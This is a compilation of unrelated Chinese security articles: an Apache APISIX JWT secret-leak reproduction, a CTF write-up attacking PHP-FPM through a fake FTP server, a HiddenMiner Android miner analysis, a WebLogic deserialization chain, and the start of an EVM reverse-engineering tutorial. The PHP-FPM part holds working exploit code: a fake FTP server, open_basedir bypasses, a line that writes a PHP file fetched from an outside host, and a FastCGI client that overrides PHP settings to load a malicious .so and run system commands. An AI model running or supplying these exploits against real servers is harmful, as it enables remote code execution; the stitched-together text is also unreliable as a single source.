### 什么是 JSON Web 令牌？
JSON Web Token （JWT） 是一种开放标准 （RFC 7519），它定义了一种紧凑且独立的方式，用于将信息作为 JSON
对象在各方之间安全地传输。此信息可以进行验证和信任，因为它是经过数字签名的。JWT 可以使用密钥（使用 HMAC 算法）或使用 RSA 或 ECDSA
的公钥/私钥对进行签名。
### JWT 获取 及访问 API 或资源流出：
1. 应用程序或客户端请求对授权服务器进行授权。这是通过不同的授权流之一执行的。例如，典型的 OpenID Connect 兼容 Web 应用程序将使用授权代码流通过终结点。/oauth/authorize
2. 授予授权后，授权服务器将向应用程序返回访问令牌。
3. 应用程序使用访问令牌访问受保护的资源（如 API）。
### JSON Web 令牌的使用
授权：这是使用 JWT 的最常见方案。
信息交换：JSON Web令牌在各方之间安全传输信息。
### JSON Web 令牌格式
三部分组成
Header Payload Signature
通常如下所示:
header.payload.Signature
Header 是由 令牌类型(jwt) 和签名算法组成(HS256) ，格式是JSON，会进行Base64Url 编码
Payload 是由注册声明、公共声明组成、私人声明组成，格式是JSON，会进行Base64Url 编码
Signature 是签名部分、创建签名部分，您必须获取编码的Header、编码的Payload、中指定的算法，并对其进行签名。
例如，如果要使用 HMAC SHA256 算法，将按以下方式创建签名：
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
最后输出的部分是三个Base64-URL字符串 由点分割。
下面显示了一个 JWT，它具有编码的Header和Payload，并使用密钥对其进行签名。
## 漏洞复现
[通过diff记录](https://github.com/apache/apisix/pull/6846/commits/bf296bbdad52055d9362958e9262c861a4b723ed)，可以看到漏洞不复杂，是在返回的message中将报错输出，输出的内容包含敏感数据。在漏洞描述中已经讲明白了，依赖库
lua-resty-jwt 中的错误逻辑允许将 RS256 令牌发送到需要 HS256 令牌的端点，错误响应中包含原始密钥值。
看了描述，下一步就是构建RS256令牌、然后发送到接受HS256令牌的路由上。
开始构建RS256令牌。与HS256有些区别。在构建的时候需要一组私钥、公钥。
### RS256令牌构建
[JSON Web Tokens](https://jwt.io/#debugger-io) 网站中有个Debugger 可以帮助我们去快速构建。
我们需要填写三个部分、Header Payload VERIFY SIGNATURE
1、先将 Algorithm 修改为RS256
2、Header 可以保持不变。
3、Payload 填写：{ "key": "Vul_test" } 。此时的key值是我们在注册 consumer 填写的key值。
4、VERIFY SIGNATURE 公钥、私钥不用改，可以使用。
5、最后在左边文本框里会帮我们自动生成 RS256令牌。前提是格式不能错，前两部分都是JSON格式。
OK！准备完毕。
还记得我们上边的token测试嘛，将jwt的参数换成获取到的RS256令牌。
curl http://127.0.0.1:9080/Vul_test?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJWdWxfdGVzdCJ9.Q-psC9EqmVdjSSQW4gjNl_pcBt_vKoQbWz6j_YI-yHXOurShJIkceShVSHU2XZfH1E5g5pwOQ_JizDC_mp95_3FTv6j6ECcRdUOsXrMP8L5CJhNJhNh-UddrpBfep4WWn-bZsJV2mYyp4fLAXwMVH2JsOPRi9nkuR4_F8ZJzU-2KwrIRBDGo8NsgVpYhuQcjIDRBOmKloBzqdPKXbVPFetkDgqJgN0jLSuYV7mKJSN2R6XLF62gtZilf03pIf9UQFs7XE5kY2H4BSOBIZlD3ET6pvpo1PJRVmvxBU9_y7DfMkUzkq9S3gihsabHGuybKOUbQ_GqOGv_knule8wTimg -i
命令行发起请求。命令行发起请求。在messages信息中能够获取到我们刚开始在 consumer 插件配置中填写的 secret
### 浅析
/apisix/plugins/jwt-auth.lua#_M.rewrite() 判断 令牌、及令牌的 Header、Payload、user-key。未通过会返回401及message信息。可以看到有两个会输出报错信息：一个是判断token、一个是判断secret。
我构建了很多RS256令牌，Payload的配置各种尝试更改。在看源码的时候，考虑绕过各种固定报错信息，才能够往下走。
有一个错误一直不理解，Invalid user key in JWT token 。尝试修改Key值。
在分析CVE描述的时候认为从该漏洞中泄漏的是Key值，然而实际是 secret值。
## 缓解措施:
[官方通告及修复方案](https://lists.apache.org/thread/6qpfyxogbvn18g9xr8g218jjfjbfsbhr)
1.升级到2.13.1及以上版本
2.在Apache APISIX上应用以下补丁并重建:
这将使此错误消息不再包含敏感信息，并向调用方返回一个固定的错误消息。
对于当前的LTS 2.13.x或master:
<https://github.com/apache/apisix/pull/6846>
<https://github.com/apache/apisix/pull/6847>
<https://github.com/apache/apisix/pull/6858>
对于最近的LTS 2.10.x版本:
<https://github.com/apache/apisix/pull/6847>
<https://github.com/apache/apisix/pull/6855>
3.根据上面的提交手动修改您正在使用的版本，并重新构建它以规避漏洞。
## 参考材料
[Apisix jwt-auth
插件开启](https://apisix.apache.org/zh/docs/apisix/2.12/plugins/jwt-auth/)
[jwt介绍](https://jwt.io/#debugger-io)
### 备注
附件有docker环境，解压之后，运行sh脚本。 | 社区文章 |
# 重新学习FTP与php-FPM的RCE
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前几天看了蓝帽杯2021的web题目讲真，一个游戏一个rce，打得我头皮发麻，最后是一个绕过disable_function今天也来这里记载一下，写得不好，还得大佬们批评指正。
## 0x01 预备知识
### (一) FTP的主动与被动模式
参考资料：
ftp
<https://southrivertech.com/wp-content/uploads/FTP_Explained1.pdf>
<https://slacksite.com/other/ftp.html>
<https://zhuanlan.zhihu.com/p/37963548>
ftp rfc 文档：
<http://www.faqs.org/rfcs/rfc959.html>
ftp 命令字和响应码：
<https://blog.csdn.net/qq981378640/article/details/51254177>
#### 1.FTP简介：
文件传输协议，简称FTP是用于在网络进行文件传输的协议，客户和服务器模式。FTP只通过TCP连接,没有用于FTP的UDP组件.FTP不同于其他服务的是它使用了两个端口,
一个数据端口和一个命令端口(或称为控制端口)。通常`21端口是命令端口`，`20端口是数据端口`。
但是混入主被动模式之后，这些端口可能会有一些变化。
#### 2\. 主动模式
（1）
客户端打开一个随机的端口（端口号大于1024，在这里，我们称它为x），同时一个FTP进程连接至服务器的21号命令端口。此时，该tcp连接的来源地端口为客户端指定的随机端口x，目的地端口（远程端口）为服务器上的21号端口。
（2）
客户端开始监听端口（x+1），同时向服务器发送一个端口命令（通过服务器的21号命令端口），此命令告诉服务器客户端正在监听的端口号并且已准备好从此端口接收数据。这个端口就是我们所知的数据端口。
（3）服务器打开20号源端口并且创建和客户端数据端口的连接。此时，来源地的端口为20，远程数据(目的地)端口为（x+1）。
（4）客户端通过本地的数据端口创建一个和服务器20号端口的连接，然后向服务器发送一个应答，告诉服务器它已经创建好了一个连接
大概形式长这个样子（第一次使用画图工具，有点丑）
主动模式中，其实客户端和服务器断并没有建立一条实际的数据链路，而只是，客户端告诉服务器我监听端口，然后服务器来链接这个，这其实是一个从外部建立进来的连接，所以防火墙就会杀他。
所以这在一定程度其实是不会被经常使用的。
#### 3\. 被动模式
1. 客户端向服务器的21端口 发送PASV指令，请求被动链接，该tcp连接的来源地端口为客户端指定的随机端口x，目的地端口（远程端口）为服务器上的21号端口。
2. 客户端开始监听本地的x+1端口，服务端会开启一个端口来和客户端（Y）进行通信，并告知
3. 客户端初始化一个从自己的数据端口到服务器端指定的数据端口的数据连接
4. 服务端通过本地的数据端口创建一个和客户端的连接，然后向客户端发送一个应答，告诉客户端它已经创建好了一个连接。
下面是一个wireshark 中经典的被动模式流量图
被动模式返回的端口号是 192.168.1.5:19*256+14
记住这个神奇的计算公式
### (二) php-fpm攻击
参考链接：<https://xz.aliyun.com/t/5598>
#### 1\. php-fpm简介
总的意思就不多说了
www.example.com
|
|
Nginx
|
|
路由到www.example.com/index.php
|
|
加载nginx的fast-cgi模块
|
|
fast-cgi监听127.0.0.1:9000地址
|
|
www.example.com/index.php请求到达127.0.0.1:9000
|
|
php-fpm 监听127.0.0.1:9000
|
|
php-fpm 接收到请求，启用worker进程处理请求
|
|
php-fpm 处理完请求，返回给nginx
|
|
nginx将结果通过http返回给浏览器
给大家看一下一个正常的http请求是如何被解析的（这个要是不会就直接gg了，所以我先死为敬）
#### 2\. 两种交流方式
1.tcp方式的话就是直接fpm直接通过监听本地9000端口来进行通信
2.unix socket其实严格意义上应该叫unix domain socket，它是*nix系统进程间通信（IPC）的一种被广泛采用方式，以文件（一般是.sock）作为socket的唯一标识（描述符），需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。
Unix domain socket 或者 IPC socket是一种终端，可以使同一台操作系统上的两个或多个进程进行数据通信。与管道相比，Unix domain sockets 既可以使用字节流和数据队列，而管道通信则只能通过字节流。Unix domain sockets的接口和Internet socket很像，但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播
所以在做的时候要注意好是哪一种方式，具体内部的实现就不多说了。其实只要大概明白这两种方式之间利用不同就行了。
#### 3 漏洞部分
既然要攻击，那就必须得有漏洞点吧，漏洞出现在哪里呢？很明显就在于，php-fpm在监听端口或者使用unix进行通信的时候没有验证，这些流量是否是合法。
如果我能够控制主机内的机器向绑定的端口发送符合他们呢规范的流量就可以执行命令。
### (三) nginx 配置文件解释
server {
listen 80 default_server; # 监听80端口，接收http请求
servername ; # 网站地址
root /var/www/html; # 网站根目录
location /{
#First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files \$uri \$uri/ =404; # 文件不存在就返回404状态
}
# 下面是重点
location ~ .php$ {
include snippets/fastcgi-php.conf; #加载nginx的fastcgi模块
# With php7.0-cgi alone:
fastcgi_pass 127.0.0.1:9000; # 监听nginx fastcgi进程监听的ip地址和端口
# With php7.0-fpm:
# fastcgi_pass unix:/run/php/php7.0-fpm.sock;
}
初始化
1. sudo apt update
2. sudo apt install -y nginx
3. sudo apt install -y software-properties-common
4. sudo add-apt-repository -y ppa:ondrej/php
5. sudo apt update
6. sudo apt install -y php7.3-fpm
`/etc/nginx/sites-enabled/default`
`/etc/php/7.3/fpm/pool.d/www.conf`
/etc/init.d/php7.3-fpm restart
service nginx reload
## 0x02 解题
### (一） hxp的resonator小解析
首先贴源码
<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
file_put_contents($file, $data);
echo file_get_contents($file);
www.conf
listen = 127.0.0.1:9000
现在我们可以在tmp目录下任意写文件，配合PHP-FPM的漏洞，我们就可以解这个题了。
如果可以将任意二进制数据包发送到 php-fpm 服务，则可以执行代码。 此技术通常与 `gopher://` 协议结合使用（ssrf），该协议受 curl
支持， **但不受 php 支持** 。
我们先来看`php`支持的协议<https://www.php.net/manual/zh/wrappers.php#wrappers>
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址 攻击内网
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档 phar.readonly = 0
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
-pass 以上四个都需要安装 PECL 扩展
现在其实就只剩下了ftp协议了。使用上面的ftp被动模式这样就可以转发到我们想要的端口了。
贴上我们的fake_ftp
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
注意上面的`9000`端口需要自己测试。因为地方可能不一样
这个题就不难解决了，纯粹的一个题解。
### (二) 蓝帽杯的one_pointer
第一层的溢出就不多说了。下面给两个绕过open_basedir
<?php
chdir("sandbox/660bef445e619cf44695fec04f93e4f7ff60e252");
mkdir('decadefirst');
chdir('decadefirst');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
readfile("/flag");
var_dump(file_get_contents($_GET[a]));
file_put_contents("a.php",file_get_contents(ip))
大概就是这么一个流程。下面开始打了。
下面贴上ha牛的脚本
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <[email protected]>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('?file=ftp://ip:9999&data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}
$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
* * *
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
这是普通的方式，但是在这里我们会发现这个方法他不行了，不难正常了打完。但是，我们在读取`php.ini`的时候发现了一个so文件,我们就可以通过加载恶意so文件来绕过。
看一下上面的脚本也就知道怎么操作了。
下面还有个suid提权不说了，收工了，困。
## 0x03 总结与参考链接
> <https://www.anquanke.com/post/id/233454>
>
> <https://ha1c9on.top/2021/04/29/lmb_one_pointer_php/#i-6>
>
> <https://xz.aliyun.com/t/5598>
>
> <https://www.anquanke.com/post/id/186186> | 社区文章 |
# 门罗币挖矿的恶意家族HiddenMiner导致手机设备管理器功能故障
##### 译文声明
本文是翻译文章，文章原作者 Lorin Wu，文章来源：blog.trendmicro.com
原文地址：<https://blog.trendmicro.com/trendlabs-security-intelligence/monero-mining-hiddenminer-android-malware-can-potentially-cause-device-failure/>
译文仅供参考，具体内容表达以及含义原文为准。
**针对Monero** **挖矿的恶意家族HiddenMiner** **能够导致手机设备管理器功能故障**
趋势科技发现了一种新的Android恶意软件，它可以暗中使用受感染设备的计算能力来窃取Monero。趋势科技将其检测为ANDROIDOS_HIDDENMINER。这个Monero挖掘Android应用程序的自我保护和持久性机制包括将自己从不知情的用户身上隐藏起来，并滥用设备管理器功能（通常在SLocker
Android勒索软件中看到的技术）。
我们进一步钻研HiddenMiner，发现Monero矿池和钱包与恶意软件连接，并获悉其中一家运营商从其中一家钱包中提取了26
XMR（或截至2018年3月26日的5,360美元）。这表明利用受感染设备来挖掘加密货币的活动非常活跃。
HiddenMiner使用该设备的CPU功率来挖掘Monero。HiddenMiner的代码中没有开关，控制器或优化器，这意味着它将持续挖掘Monero，直到设备资源耗尽。鉴于HiddenMiner的本质，它可能会导致受影响的设备过热并可能失败。
这与其他安全研究人员观察到的导致设备电池膨胀的Loapi
Monero挖掘Android恶意软件类似。事实上，取消激活设备管理权限后Loapi锁定屏幕的技术与HiddenMiner类似。
HiddenMiner位于第三方应用程序市场。到目前为止，它影响着印度和中国的用户，但如果它扩展到两国之外，这并不意外。
图1.一个Monero钱包地址状态的屏幕截图
## 感染链
HiddenMiner伪装成合法的Google Play更新应用程序，随着 com.google.android.provider弹出，并附带Google
Play图标。它要求用户以设备管理员身份激活它。它会持续弹出，直到受害者点击激活按钮。一旦获得许可，HiddenMiner将在后台开始挖掘Monero。
图2.恶意应用程序的屏幕要求用户以设备管理员身份激活它
## 技术分析
HiddenMiner使用多种技术将自己隐藏在设备中，例如清空应用程序名称标签并在安装后使用透明图标。一旦作为设备管理员激活，它将通过调用
_setComponentEnableSetting_ _（）_
从应用程序启动器隐藏应用程序。请注意，恶意软件会自行隐藏并自动以设备管理员权限运行，直到下一次设备引导。[DoubleHidden](https://www.symantec.com/blogs/threat-intelligence/doublehidden-android-malware-google-play) 恶意家族采用了类似的技术。
图3. HiddenMiner如何隐藏自身的图例：安装后的空应用程序名称标签和透明图标（左），然后一旦授予设备管理权限就会消失（右图）
HiddenMiner还具有反模拟器功能，可绕过检测和自动分析。它会通过滥用Github上的Android模拟器检测器来检查它是否在模拟器上运行。
图4.代码片段显示了HiddenMiner如何绕过基于我们的沙箱检测和分析的Android模拟器
图5.代码片段显示了HiddenMiner如何挖掘Monero
## 滥用设备管理权限
用户无法卸载激活设备管理器的软件包，除非首先删除设备管理员权限。在HiddenMiner的案例中，受害者无法将其从设备管理器中删除，因为当用户想要禁用其设备管理员权限时，恶意软件会利用Nougat（Android
7.0）和更高版本之外的Android操作系统中发现的缺陷来锁定设备的屏幕。
图6.显示HiddenMiner如何防止移除设备管理员权限的代码片段
Google通过减少设备管理员应用程序的权限，解决了Nougat及其后的Android操作系统中的安全问题，使他们无法再锁定屏幕（如果它是应用程序功能的一部分）。设备管理器将不再通过onDisableRequested()通知设备管理应用。这些策略并不罕见：某些Android勒索软件和信息窃取器（即Fobus）利用这些技术在设备中立足。 | 社区文章 |
**作者：墨云科技 VLab Team
原文链接：<https://mp.weixin.qq.com/s/fFx1kQVfotbOqHlSjSJVMQ>**
#### 漏洞简述
这是一个反序列化漏洞,是一条新的gadget,在低版本的JDK中可能会造成RCE风险。
#### 漏洞分析
测试环境weblogic14c版本,测试JDK 1.8版本。
首先会调用BadAttributeValueExpException.readObject方法
接着会调用SessionData.toString方法
接着会调用SessionData.isDebuggingSession方法
接着会调用SessionData.getAttribute方法
接着会调用SessionData.getAttributeInternal方法
接着会调用AttributeWrapperUtils.unwrapObject方法
接着会调用AttributeWrapperUtils.unwrapEJBObjects方法
接着会调用BusinessHandleImpl.getBusinessObject方法
接着会调用HomeHandleImpl.getEJBHome方法
可以看到这里调用了ctx.lookup方法
#### 修复建议
及时更新补丁，参考oracle官网发布的补丁:
<https://www.oracle.com/security-alerts/cpujan2022.html>
* * * | 社区文章 |
# 前言
说起以太坊的智能合约，因为区块链上所有的数据都是公开透明的，所以合约的代码也都是公开的。但是其实它公开的都是经过编译的OPCODE，真正的源代码公开与否就得看发布合约的人了。如果要真正的掌握一个合约会干什么，就得从OPCODE逆向成solidity代码。下面进行练手和实战，实战的是今年PHDays安全会议的比赛里的一道题。
在etherscan上看到的合约的代码示例:
# 工欲善其事，必先利其器
现在网上免费的工具不太多，我会在结尾贴出我知道的其他工具。
在这里我用的是IDA-EVM(半年没更新啦)和ethervm.io的反编译工具:
[IDA-EVM](https://github.com/trailofbits/ida-evm "IDA-EVM")
[ethervm](https://ethervm.io/decompile "ethervm")
如果要查手册:
[solidity手册](https://solidity-cn.readthedocs.io/zh/develop/ "solidity手册")
用来查一些EVM的特性
[OPCODE](https://ethervm.io/ "OPCODE")
用来查OPCODE的特性
# 练手1
contract Demo {
uint256 private c;
function a() public returns (uint256) { factorial(2); }
function b() public { c++; }
function factorial(uint n) internal returns (uint256) {
if (n <= 1) { return 1; }
return n * factorial(n - 1);
}
}
编译后:
6080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630dbe671f14604e5780634df7e3d0146076575b600080fd5b348015605957600080fd5b506060608a565b6040518082815260200191505060405180910390f35b348015608157600080fd5b5060886098565b005b60006094600260ab565b5090565b6000808154809291906001019190505550565b600060018211151560be576001905060cd565b60c86001830360ab565b820290505b9190505600a165627a7a7230582016d61ab556bcec17631dad0b32eae60becb475ff83dae1ed39cbecde69e0cec00029
反编译后:
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x0dbe671f) {
// Dispatch table entry for a()
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }//因为没有payable修饰，不能接收eth
var1 = 0x5f;
var1 = a();
var temp0 = memory[0x40:0x60];//0x80
memory[temp0:temp0 + 0x20] = var1;//[0x80:0xa0]=a()
var temp1 = memory[0x40:0x60];//0x80
return memory[temp1:temp1 + temp0 - temp1 + 0x20];//return [0x80:0xa0] 也就是a()
} else if (var0 == 0x4df7e3d0) {
// Dispatch table entry for b()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x83;
b();
stop();
} else { revert(memory[0x00:0x00]); }
}
function a() returns (var r0) {
var var0 = 0x00;
var var1 = 0x8f;
var var2 = 0x02;
var1 = func_009E(var2);
return var0;
}
function b() {
storage[0x00] = storage[0x00] + 0x01;
}
function func_009E(var arg0) returns (var r0) {
var var0 = 0x00;
if (arg0 > 0x01) {
var var1 = 0xb8;
var var2 = arg0 - 0x01;
var1 = func_009E(var2);
var0 = arg0 * var1;
label_00BD:
return var0;
} else {
var0 = 0x01;
goto label_00BD;
}
}
}
第一句`if (msg.data.length < 0x04) { revert(memory[0x00:0x00]);
}`是因为EVM里对函数的调用都是取`bytes4(keccak256(函数名(参数类型1,参数类型2))`传递的，即对函数签名做keccak256哈希后取前4字节。
下一行对`msg.data`进行 `& 0xffffffff`就是这个作用，到下一个if语句下面，我们会发现有个`// Dispatch table
entry for a()`，这其实是反编译器自动注释的。在 [Ethereum Function Signature
Database](https://www.4byte.directory "Ethereum Function Signature Database")
这个网站里有对各种函数签名进行keccak256()的数据库，如果在反编译的时候就会自动查询并注释，知道函数签名会大大方便我们的工作。
